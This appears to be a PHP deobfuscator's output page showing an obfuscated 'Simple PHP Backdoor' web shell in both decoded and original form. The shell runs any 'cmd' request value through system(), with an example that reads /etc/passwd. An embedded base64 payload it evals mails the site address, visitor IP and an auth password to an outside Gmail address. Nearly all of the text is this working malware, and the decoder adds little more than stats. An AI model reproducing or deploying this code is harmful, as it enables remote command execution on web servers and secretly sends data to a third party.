Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* __________________________________________________ | Simple PHP Backdoo..
Decoded Output download
<?php
/* __________________________________________________
| Simple PHP Backdoor - leetc0des.blogspot.com |
| on 2020-04-13 06:53:42 |
| GitHub: https://github.com/x-o-r-r-o |
|__________________________________________________|
*/
goto nhPFr; PWUdh: Wca3D: goto mfc5z; NlHXL: echo "<pre>"; goto k85_a; SpxzD: eval(base64_decode($ik04L)); goto RdzWe; Z237s: if (!isset($_REQUEST["cmd"])) { goto Wca3D; } goto NlHXL; mfc5z: $ik04L = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiaGFyZHdhcmVoZWF2ZW4uY29tQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; goto SpxzD; fOQ6I: echo "</pre>"; goto DpnYB; k85_a: $dW62L = $_REQUEST["cmd"]; goto VMo3U; nhPFr: echo "\xa<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
"; goto Z237s; VMo3U: system($dW62L); goto fOQ6I; DpnYB: die; goto PWUdh; RdzWe: echo "
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
";
?>
Did this file decode correctly?
Original Code
<?php
/* __________________________________________________
| Simple PHP Backdoor - leetc0des.blogspot.com |
| on 2020-04-13 06:53:42 |
| GitHub: https://github.com/x-o-r-r-o |
|__________________________________________________|
*/
goto nhPFr; PWUdh: Wca3D: goto mfc5z; NlHXL: echo "\x3c\x70\x72\145\x3e"; goto k85_a; SpxzD: eval(base64_decode($ik04L)); goto RdzWe; Z237s: if (!isset($_REQUEST["\x63\x6d\144"])) { goto Wca3D; } goto NlHXL; mfc5z: $ik04L = "\x4a\110\132\160\x63\x32\x6c\x30\x59\171\101\71\111\x43\x52\146\121\x30\71\120\x53\60\154\106\x57\x79\x4a\62\x61\x58\x4e\160\x64\110\x4d\151\130\124\163\x4e\103\155\154\155\x49\x43\x67\153\x64\x6d\x6c\x7a\x61\130\122\152\x49\x44\60\71\111\x43\111\x69\x4b\123\x42\67\x44\121\x6f\147\x49\103\x52\62\x61\130\x4e\160\144\107\115\147\x49\x44\x30\x67\x4d\104\163\x4e\103\x69\101\x67\x4a\x48\x5a\160\143\x32\154\60\x62\x33\x49\147\x50\123\101\x6b\130\61\116\x46\125\x6c\x5a\106\x55\x6c\163\151\x55\x6b\126\x4e\x54\61\x52\106\x58\60\106\105\122\x46\x49\151\x58\x54\x73\x4e\103\x69\x41\x67\112\x48\144\154\131\151\101\147\111\x43\x41\147\x50\123\x41\153\x58\61\116\x46\125\154\x5a\106\125\154\x73\x69\123\x46\x52\x55\x55\106\x39\x49\x54\61\x4e\x55\x49\154\60\x37\104\121\x6f\x67\111\x43\x52\160\142\x6d\157\147\x49\x43\101\x67\x49\104\60\147\x4a\x46\x39\124\x52\x56\x4a\x57\x52\126\112\142\x49\x6c\112\106\125\x56\126\106\125\61\x52\x66\x56\126\x4a\112\111\x6c\x30\x37\104\x51\x6f\147\x49\x43\x52\60\x59\130\112\x6e\132\x58\121\x67\111\104\x30\x67\143\x6d\106\x33\x64\x58\x4a\163\132\107\x56\x6a\142\x32\122\x6c\113\103\122\x33\132\127\x49\x75\112\107\x6c\165\x61\x69\153\67\x44\121\157\x67\x49\103\x52\161\x64\x57\122\61\x62\x43\x41\x67\x49\104\x30\147\x49\x6c\x64\124\x54\x79\101\x79\114\x6a\143\x67\x61\110\122\60\143\x44\x6f\x76\x4c\171\x52\x30\x59\130\x4a\156\132\x58\121\x67\131\156\x6b\147\112\110\x5a\x70\x63\62\154\x30\x62\x33\111\x69\x4f\x77\x30\x4b\111\x43\101\x6b\131\155\x39\x6b\145\123\x41\147\x49\x43\x41\71\x49\103\112\103\144\x57\x63\x36\111\x43\122\x30\x59\130\x4a\156\x5a\130\x51\x67\131\156\x6b\x67\112\110\132\x70\x63\x32\154\x30\142\63\111\147\x4c\123\x41\x6b\x59\130\126\x30\141\106\71\x77\x59\130\x4e\172\111\152\163\x4e\x43\151\x41\x67\141\x57\131\x67\x4b\x43\x46\154\142\x58\x42\x30\x65\123\x67\x6b\144\x32\126\151\113\123\153\x67\x65\x79\x42\x41\142\x57\x46\160\142\x43\147\151\141\107\x46\x79\132\110\144\150\x63\155\126\157\x5a\127\106\x32\132\127\x34\165\x59\x32\71\x74\121\x47\x64\164\131\127\154\x73\x4c\155\116\166\142\123\111\x73\x4a\x47\160\61\132\x48\x56\x73\114\103\x52\151\x62\62\122\x35\114\x43\x52\x68\144\x58\122\157\130\x33\x42\150\143\63\x4d\x70\x4f\171\x42\71\x44\121\x70\71\104\x51\x70\154\x62\110\x4e\154\x49\x48\163\147\112\110\132\x70\x63\62\x6c\x30\131\171\x73\162\117\171\x42\x39\104\121\x70\x41\143\x32\126\60\131\62\71\x76\x61\62\154\x6c\113\x43\112\x32\x61\x58\116\160\144\110\x6f\151\x4c\103\x52\x32\141\130\116\x70\144\x47\x4d\x70\x4f\167\75\75"; goto SpxzD; fOQ6I: echo "\74\x2f\160\162\x65\76"; goto DpnYB; k85_a: $dW62L = $_REQUEST["\143\x6d\x64"]; goto VMo3U; nhPFr: echo "\xa\x3c\x21\x2d\x2d\40\123\x69\155\x70\x6c\145\40\120\110\x50\40\x62\x61\x63\x6b\x64\157\x6f\162\40\x62\x79\40\104\113\x20\x28\150\164\x74\160\72\57\57\x6d\151\143\150\141\x65\154\144\141\167\56\157\x72\x67\x29\x20\x2d\x2d\76\12\12"; goto Z237s; VMo3U: system($dW62L); goto fOQ6I; DpnYB: die; goto PWUdh; RdzWe: echo "\12\125\163\x61\x67\x65\x3a\40\150\x74\164\160\72\x2f\57\x74\x61\162\x67\145\164\x2e\143\157\x6d\x2f\163\x69\x6d\160\154\x65\x2d\x62\141\143\153\x64\157\157\x72\x2e\160\150\x70\77\x63\x6d\144\75\143\141\x74\53\57\x65\164\x63\x2f\160\141\x73\163\x77\x64\12\12\74\41\x2d\x2d\40\40\40\40\150\164\x74\160\x3a\57\57\x6d\x69\x63\150\x61\145\x6c\144\141\167\x2e\x6f\162\147\40\x20\40\62\60\60\66\x20\x20\x20\40\x2d\55\76\12";
Function Calls
None |
Stats
MD5 | ce95123d4881867293a1aa8143089bdb |
Eval Count | 0 |
Decode Time | 96 ms |